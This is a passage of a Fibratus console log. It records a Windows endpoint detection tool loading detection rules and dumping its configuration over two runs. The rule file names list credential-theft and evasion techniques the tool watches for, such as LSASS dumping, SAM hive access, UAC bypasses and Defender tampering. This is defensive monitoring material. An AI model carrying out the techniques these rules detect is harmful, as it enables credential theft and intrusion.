C:\Fibratus\fibratus\rules\defense_evasion_dotnet_assembly_loaded_by_unmanaged_process.yml source=config/filters.go:355 +time=2025-11-23T01:16:02+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_hidden_registry_key_creation.yml source=config/filters.go:355 +time=2025-11-23T01:16:02+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_image_load_via_ntfs_transaction.yml source=config/filters.go:355 +time=2025-11-23T01:16:02+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_injection_via_dotnet_debugging.yml source=config/filters.go:355 +time=2025-11-23T01:16:02+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_creation_via_shellcode.yml source=config/filters.go:355 +time=2025-11-23T01:16:02+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_doppelganging_injection.yml source=config/filters.go:355 +time=2025-11-23T01:16:02+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_hollowing_injection.yml source=config/filters.go:355 +time=2025-11-23T01:16:02+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_injection_via_tainted_memory_section.yml source=config/filters.go:355 +time=2025-11-23T01:16:02+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_shellcode_execution_via_etw_logger_thread.yml source=config/filters.go:355 +time=2025-11-23T01:16:02+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_thread_execution_hijacking.yml source=config/filters.go:355 +time=2025-11-23T01:16:02+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_process_execution_from_self_deleting_binary.yml source=config/filters.go:355 +time=2025-11-23T01:16:02+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_process_spawned_via_remote_thread.yml source=config/filters.go:355 +time=2025-11-23T01:16:02+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_regsvr32_scriptlet_execution.yml source=config/filters.go:355 +time=2025-11-23T01:16:02+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_access_to_the_hosts_file.yml source=config/filters.go:355 +time=2025-11-23T01:16:02+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_dll_loaded_via_memory_section_mapping.yml source=config/filters.go:355 +time=2025-11-23T01:16:02+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_html_application_script_execution.yml source=config/filters.go:355 +time=2025-11-23T01:16:02+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_object_symbolic_link_creation.yml source=config/filters.go:355 +time=2025-11-23T01:16:02+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_windows_defender_exclusions_registry_modification.yml source=config/filters.go:355 +time=2025-11-23T01:16:02+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_xsl_script_execution.yml source=config/filters.go:355 +time=2025-11-23T01:16:02+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_system_binary_proxy_execution_via_rundll32.yml source=config/filters.go:355 +time=2025-11-23T01:16:02+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_thread_context_set_from_unbacked_memory.yml source=config/filters.go:355 +time=2025-11-23T01:16:02+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_unsigned_dll_injection_via_remote_thread.yml source=config/filters.go:355 +time=2025-11-23T01:16:02+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_windows_defender_driver_unloading.yml source=config/filters.go:355 +time=2025-11-23T01:16:02+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_windows_defender_protection_tampering_via_registry.yml source=config/filters.go:355 +time=2025-11-23T01:16:02+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_executable_file_creation_from_macro_enabled_microsoft_office_document.yml source=config/filters.go:355 +time=2025-11-23T01:16:02+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_execution_via_microsoft_office_process.yml source=config/filters.go:355 +time=2025-11-23T01:16:02+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_macro_execution_via_script_interpreter.yml source=config/filters.go:355 +time=2025-11-23T01:16:02+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_microsoft_office_file_execution_via_script_interpreter.yml source=config/filters.go:355 +time=2025-11-23T01:16:02+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_microsoft_office_file_execution_via_wmi.yml source=config/filters.go:355 +time=2025-11-23T01:16:02+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_potential_clickfix_infection_chain_via_run_window.yml source=config/filters.go:355 +time=2025-11-23T01:16:02+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_process_spawned_from_macro_enabled_microsoft_office_document.yml source=config/filters.go:355 +time=2025-11-23T01:16:02+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_dll_loaded_by_microsoft_office_process.yml source=config/filters.go:355 +time=2025-11-23T01:16:02+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_execution_via_wmi_from_microsoft_office_process.yml source=config/filters.go:355 +time=2025-11-23T01:16:02+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_microsoft_office_embedded_object.yml source=config/filters.go:355 +time=2025-11-23T01:16:02+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_executable_file_dropped_by_unsigned_service_dll.yml source=config/filters.go:355 +time=2025-11-23T01:16:02+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_hidden_local_account_creation.yml source=config/filters.go:355 +time=2025-11-23T01:16:02+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_network_connection_via_startup_folder_executable_or_script.yml source=config/filters.go:355 +time=2025-11-23T01:16:02+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_potential_port_monitor_or_print_processor_persistence_via_registry_modification.yml source=config/filters.go:355 +time=2025-11-23T01:16:02+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_rid_hijacking.yml source=config/filters.go:355 +time=2025-11-23T01:16:02+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_script_interpreter_or_untrusted_process_persistence.yml source=config/filters.go:355 +time=2025-11-23T01:16:02+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_microsoft_office_addin_loaded.yml source=config/filters.go:355 +time=2025-11-23T01:16:02+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_microsoft_office_template.yml source=config/filters.go:355 +time=2025-11-23T01:16:02+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_netsh_helper_dll_execution.yml source=config/filters.go:355 +time=2025-11-23T01:16:02+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_persistence_via_registry_modification.yml source=config/filters.go:355 +time=2025-11-23T01:16:02+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_port_monitor_loaded.yml source=config/filters.go:355 +time=2025-11-23T01:16:02+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_print_processor_loaded.yml source=config/filters.go:355 +time=2025-11-23T01:16:02+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_startup_shell_folder_modification.yml source=config/filters.go:355 +time=2025-11-23T01:16:02+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_unusual_file_written_in_startup_folder.yml source=config/filters.go:355 +time=2025-11-23T01:16:02+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_unusual_process_modified_registry_run_key.yml source=config/filters.go:355 +time=2025-11-23T01:16:02+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_potential_privilege_escalation_via_ifileoperation_abuse.yml source=config/filters.go:355 +time=2025-11-23T01:16:02+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_potential_privilege_escalation_via_phantom_dll_hijacking.yml source=config/filters.go:355 +time=2025-11-23T01:16:02+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_cdssync_scheduled_task_hijack.yml source=config/filters.go:355 +time=2025-11-23T01:16:02+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_dll_hijack_from_windows_media_player_directory.yml source=config/filters.go:355 +time=2025-11-23T01:16:02+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_dotnet_code_profiler_mmc_dll_hijack.yml source=config/filters.go:355 +time=2025-11-23T01:16:02+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_icmluautil_com_interface.yml source=config/filters.go:355 +time=2025-11-23T01:16:02+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_ntfs_junction_dll_hijacking.yml source=config/filters.go:355 +time=2025-11-23T01:16:02+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_program_compatibility_assistant_scheduled_task_hijack.yml source=config/filters.go:355 +time=2025-11-23T01:16:02+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_rouge_mmc_snap-in.yml source=config/filters.go:355 +time=2025-11-23T01:16:02+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_trusted_windows_directory_masquerading.yml source=config/filters.go:355 +time=2025-11-23T01:16:02+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_vulnerable_or_malicious_driver_dropped.yml source=config/filters.go:355 +time=2025-11-23T01:16:02+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_vulnerable_or_malicious_driver_loaded.yml source=config/filters.go:355 +time=2025-11-23T01:16:02+01:00 level=info msg=rules compile summary: + HasProcEvents: true + HasThreadEvents: true + HasImageEvents: true + HasFileEvents: true + HasRegistryEvents: true + HasNetworkEvents: true + HasHandleEvents: true + HasMemEvents: false + HasVAMapEvents: true + HasAuditAPIEvents: true + HasDNSEvents: false + HasThreadpoolEvents: false + Events: Accept, Connect, CreateFile, CreateHandle, CreateProcess, CreateSymbolicLinkObject, CreateThread, DeleteFile, LoadImage, MapViewFile, OpenProcess, OpenThread, Recv, RegCreateKey, RegOpenKey, RegSetValue, Send, SetFileInformation, SetThreadContext, UnloadImage, UnmapViewFile source=bootstrap/bootstrap.go:150 +time=2025-11-23T01:16:02+01:00 level=info msg=bootstrapping with pid 14920. Version: dev source=bootstrap/bootstrap.go:184 +time=2025-11-23T01:16:02+01:00 level=info msg=configuration options: + aggregator ..................... [ flush-period=>500ms flush-timeout=>4s] + alertsenders ................... [ eventlog=>[ enabled=>true verbose=>true] mail=>[ content-type=>text/html use-template=>true enabled=>false to=>[] port=>25] systray=>[ sound=>true enabled=>false quiet-mode=>false] slack=>[ enabled=>false]] + api ............................ [ timeout=>5s transport=>localhost:8482] + cap ............................ [] + config-file .................... ..\fibratus.yml + debug-privilege ................ true + evasion ........................ [ enable-direct-syscall=>true enabled=>true] + event .......................... [ serialize-images=>false serialize-threads=>false serialize-handles=>false serialize-pe=>false serialize-envs=>true] + eventsource .................... [ enable-net=>true enable-handle=>false enable-thread=>true stack-enrichment=>true enable-threadpool=>false min-buffers=>16 blacklist=>[ images=>[] events=>[CloseFile RegCloseKey]] enable-audit-api=>true enable-vamap=>true enable-image=>true enable-mem=>false enable-registry=>true max-buffers=>36 buffer-size=>512 flush-interval=>1s enable-fileio=>true enable-dns=>false] + filament ....................... [ path=>C:\Program Files\fibratus\filaments] + filters ........................ [ match-all=>true rules=>[ enabled=>true from-paths=>[C:\Fibratus\fibratus\rules\*.yml] from-urls=>[]] macros=>[ from-paths=>[C:\Fibratus\fibratus\rules\macros\*.yml]]] + forward ........................ false + handle ......................... [ enumerate-handles=>false init-snapshot=>false] + logging ........................ [ level=>info max-age=>0 max-backups=>15 max-size=>100 log-stdout=>true formatter=>text] + output ......................... [ elasticsearch=>[ servers=>[http://127.0.0.1:9200] template-name=>fibratus timeout=>5s healthcheck-timeout=>5s healthcheck-interval=>10s gzip-compression=>false healthcheck=>true trace-log=>false index-name=>fibratus sniff=>false enabled=>false flush-period=>1s bulk-workers=>1] eventlog=>[ enabled=>false level=>info] console=>[ enabled=>true format=>pretty template=>{{ .Seq }} {{ .Timestamp }} - {{ .CPU }} {{ .Process }} ({{ .Pid }}) - {{ .Type }} ({{ .Params }}) {{ .Callstack }} {{ .Cmd }} +] amqp=>[ enabled=>false durable=>false passive=>false exchange-type=>topic tls-insecure-skip-verify=>false timeout=>5s url=>amqp://localhost:5672 vhost=>/ routing-key=>fibratus delivery-mode=>transient exchange=>fibratus] http=>[ timeout=>5s enable-gzip=>false method=>POST tls-insecure-skip-verify=>false serializer=>json enabled=>false endpoints=>[]]] + pe ............................. [ read-sections=>false excluded-images=>[svchost.exe] read-resources=>false read-symbols=>false enabled=>false] + symbol-paths ................... srv*c:\\SymCache*https://msdl.microsoft.com/download/symbols + symbolize-kernel-addresses ..... true + transformers ................... [ trim=>[ enabled=>false] tags=>[ enabled=>false] replace=>[ enabled=>false] rename=>[ enabled=>false] remove=>[ params=>[] enabled=>false]] + yara ........................... [ skip-mmaps=>false skip-allocs=>false fastscan=>true excluded-procs=>[] rule=>[ strings=>[map[namespace: string:]] paths=>[map[namespace: path:]]] enabled=>false scan-timeout=>10s skip-files=>false excluded-files=>[] skip-registry=>false] source=bootstrap/bootstrap.go:185 +time=2025-11-23T01:16:02+01:00 level=info msg=starting [Security Telemetry Logger] trace processing source=etw/source.go:269 +time=2025-11-23T01:16:05+01:00 level=info msg=starting [NT Kernel Logger] trace processing source=etw/source.go:269 +time=2025-11-23T01:17:41+01:00 level=info msg=got signal "interrupt", shutting down... source=signals/signals.go:39 +time=2025-11-23T01:17:41+01:00 level=info msg=stopping [Security Telemetry Logger] trace processing source=etw/source.go:285 +time=2025-11-23T01:17:42+01:00 level=info msg=stopping [NT Kernel Logger] trace processing source=etw/source.go:285 +time=2025-11-23T01:18:16+01:00 level=info msg=loading macros from file C:\Fibratus\fibratus\rules\macros\macros.yml source=config/filters.go:295 +time=2025-11-23T01:18:16+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credentail_access_file_access_to_sam_database.yml source=config/filters.go:355 +time=2025-11-23T01:18:16+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_credential_access_from_backups_via_rundll32.yml source=config/filters.go:355 +time=2025-11-23T01:18:16+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_credential_discovery_via_vaultcmd.yml source=config/filters.go:355 +time=2025-11-23T01:18:16+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_access_from_unsigned_executable.yml source=config/filters.go:355 +time=2025-11-23T01:18:16+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_handle_leak_via_seclogon.yml source=config/filters.go:355 +time=2025-11-23T01:18:16+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_preparation_via_silent_process_exit.yml source=config/filters.go:355 +time=2025-11-23T01:18:16+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_via_minidumpwritedump.yml source=config/filters.go:355 +time=2025-11-23T01:18:16+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_via_wer.yml source=config/filters.go:355 +time=2025-11-23T01:18:16+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dumping.yml source=config/filters.go:355 +time=2025-11-23T01:18:16+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_process_clone_creation_via_reflection.yml source=config/filters.go:355 +time=2025-11-23T01:18:16+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_potential_sam_hive_dumping.yml source=config/filters.go:355 +time=2025-11-23T01:18:16+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_remote_thread_creation_into_lsass.yml source=config/filters.go:355 +time=2025-11-23T01:18:16+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_active_directory_domain_database.yml source=config/filters.go:355 +time=2025-11-23T01:18:16+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_unattended_panther_files.yml source=config/filters.go:355 +time=2025-11-23T01:18:16+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_dpapi_master_keys.yml source=config/filters.go:355 +time=2025-11-23T01:18:16+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_manager_files.yml source=config/filters.go:355 +time=2025-11-23T01:18:16+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_vault_files.yml source=config/filters.go:355 +time=2025-11-23T01:18:16+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_security_package_loaded_by_lsass.yml source=config/filters.go:355 +time=2025-11-23T01:18:16+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_vault_client_dll_load.yml source=config/filters.go:355 +time=2025-11-23T01:18:16+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_ssh_keys.yml source=config/filters.go:355 +time=2025-11-23T01:18:16+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_web_browser_credential_stores.yml source=config/filters.go:355 +time=2025-11-23T01:18:16+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_windows_credential_history.yml source=config/filters.go:355 +time=2025-11-23T01:18:16+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_appdomain_manager_injection_via_clr_search_order_hijacking.yml source=config/filters.go:355 +time=2025-11-23T01:18:16+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_clear_eventlog.yml source=config/filters.go:355 +time=2025-11-23T01:18:16+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_apc_queue.yml source=config/filters.go:355 +time=2025-11-23T01:18:16+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_callback_function.yml source=config/filters.go:355 +time=2025-11-23T01:18:16+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_ldrpkernel32_overwrite.yml source=config/filters.go:355 +time=2025-11-23T01:18:16+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_sideloading_via_copied_binary.yml source=config/filters.go:355 +time=2025-11-23T01:18:16+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_sideloading_via_microsoft_office_dropped_file.yml source=config/filters.go:355 +time=2025-11-23T01:18:16+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dotnet_assembly_loaded_by_unmanaged_process.yml source=config/filters.go:355 +time=2025-11-23T01:18:16+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_hidden_registry_key_creation.yml source=config/filters.go:355 +time=2025-11-23T01:18:16+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_image_load_via_ntfs_transaction.yml source=config/filters.go:355 +time=2025-11-23T01:18:16+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_injection_via_dotnet_debugging.yml source=config/filters.go:355 +time=2025-11-23T01:18:16+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_creation_via_shellcode.yml source=config/filters.go:355 +time=2025-11-23T01:18:16+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_doppelganging_injection.yml source=config/filters.go:355 +time=2025-11-23T01:18:16+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_hollowing_injection.yml source=config/filters.go:355 +time=2025-11-23T01:18:16+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_injection_via_tainted_memory_section.yml source=config/filters.go:355 +time=2025-11-23T01:18:16+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_shellcode_execution_via_etw_logger_thread.yml source=config/filters.go:355 +time=2025-11-23T01:18:16+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_thread_execution_hijacking.yml source=config/filters.go:355 +time=2025-11-23T01:18:16+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_process_execution_from_self_deleting_binary.yml source=config/filters.go:355 +time=2025-11-23T01:18:16+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_process_spawned_via_remote_thread.yml source=config/filters.go:355 +time=2025-11-23T01:18:16+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_regsvr32_scriptlet_execution.yml source=config/filters.go:355 +time=2025-11-23T01:18:16+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_access_to_the_hosts_file.yml source=config/filters.go:355 +time=2025-11-23T01:18:16+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_dll_loaded_via_memory_section_mapping.yml source=config/filters.go:355 +time=2025-11-23T01:18:16+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_html_application_script_execution.yml source=config/filters.go:355 +time=2025-11-23T01:18:16+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_object_symbolic_link_creation.yml source=config/filters.go:355 +time=2025-11-23T01:18:16+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_windows_defender_exclusions_registry_modification.yml source=config/filters.go:355 +time=2025-11-23T01:18:16+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_xsl_script_execution.yml source=config/filters.go:355 +time=2025-11-23T01:18:16+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_system_binary_proxy_execution_via_rundll32.yml source=config/filters.go:355 +time=2025-11-23T01:18:16+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_thread_context_set_from_unbacked_memory.yml source=config/filters.go:355 +time=2025-11-23T01:18:16+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_unsigned_dll_injection_via_remote_thread.yml source=config/filters.go:355 +time=2025-11-23T01:18:16+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_windows_defender_driver_unloading.yml source=config/filters.go:355 +time=2025-11-23T01:18:16+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_windows_defender_protection_tampering_via_registry.yml source=config/filters.go:355 +time=2025-11-23T01:18:16+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_executable_file_creation_from_macro_enabled_microsoft_office_document.yml source=config/filters.go:355 +time=2025-11-23T01:18:16+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_execution_via_microsoft_office_process.yml source=config/filters.go:355 +time=2025-11-23T01:18:16+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_macro_execution_via_script_interpreter.yml source=config/filters.go:355 +time=2025-11-23T01:18:16+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_microsoft_office_file_execution_via_script_interpreter.yml source=config/filters.go:355 +time=2025-11-23T01:18:16+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_microsoft_office_file_execution_via_wmi.yml source=config/filters.go:355 +time=2025-11-23T01:18:16+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_potential_clickfix_infection_chain_via_run_window.yml source=config/filters.go:355 +time=2025-11-23T01:18:16+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_process_spawned_from_macro_enabled_microsoft_office_document.yml source=config/filters.go:355 +time=2025-11-23T01:18:16+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_dll_loaded_by_microsoft_office_process.yml source=config/filters.go:355 +time=2025-11-23T01:18:16+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_execution_via_wmi_from_microsoft_office_process.yml source=config/filters.go:355 +time=2025-11-23T01:18:16+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_microsoft_office_embedded_object.yml source=config/filters.go:355 +time=2025-11-23T01:18:16+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_executable_file_dropped_by_unsigned_service_dll.yml source=config/filters.go:355 +time=2025-11-23T01:18:16+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_hidden_local_account_creation.yml source=config/filters.go:355 +time=2025-11-23T01:18:16+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_network_connection_via_startup_folder_executable_or_script.yml source=config/filters.go:355 +time=2025-11-23T01:18:16+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_potential_port_monitor_or_print_processor_persistence_via_registry_modification.yml source=config/filters.go:355 +time=2025-11-23T01:18:16+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_rid_hijacking.yml source=config/filters.go:355 +time=2025-11-23T01:18:16+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_script_interpreter_or_untrusted_process_persistence.yml source=config/filters.go:355 +time=2025-11-23T01:18:16+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_microsoft_office_addin_loaded.yml source=config/filters.go:355 +time=2025-11-23T01:18:16+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_microsoft_office_template.yml source=config/filters.go:355 +time=2025-11-23T01:18:16+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_netsh_helper_dll_execution.yml source=config/filters.go:355 +time=2025-11-23T01:18:16+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_persistence_via_registry_modification.yml source=config/filters.go:355 +time=2025-11-23T01:18:16+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_port_monitor_loaded.yml source=config/filters.go:355 +time=2025-11-23T01:18:16+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_print_processor_loaded.yml source=config/filters.go:355 +time=2025-11-23T01:18:16+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_startup_shell_folder_modification.yml source=config/filters.go:355 +time=2025-11-23T01:18:16+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_unusual_file_written_in_startup_folder.yml source=config/filters.go:355 +time=2025-11-23T01:18:16+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_unusual_process_modified_registry_run_key.yml source=config/filters.go:355 +time=2025-11-23T01:18:16+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_potential_privilege_escalation_via_ifileoperation_abuse.yml source=config/filters.go:355 +time=2025-11-23T01:18:16+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_potential_privilege_escalation_via_phantom_dll_hijacking.yml source=config/filters.go:355 +time=2025-11-23T01:18:16+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_cdssync_scheduled_task_hijack.yml source=config/filters.go:355 +time=2025-11-23T01:18:16+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_dll_hijack_from_windows_media_player_directory.yml source=config/filters.go:355 +time=2025-11-23T01:18:16+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_dotnet_code_profiler_mmc_dll_hijack.yml source=config/filters.go:355 +time=2025-11-23T01:18:16+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_icmluautil_com_interface.yml source=config/filters.go:355 +time=2025-11-23T01:18:16+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_ntfs_junction_dll_hijacking.yml source=config/filters.go:355 +time=2025-11-23T01:18:16+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_program_compatibility_assistant_scheduled_task_hijack.yml source=config/filters.go:355 +time=2025-11-23T01:18:16+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_rouge_mmc_snap-in.yml source=config/filters.go:355 +time=2025-11-23T01:18:16+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_trusted_windows_directory_masquerading.yml source=config/filters.go:355 +time=2025-11-23T01:18:16+01:00 level=info msg=loading rule from 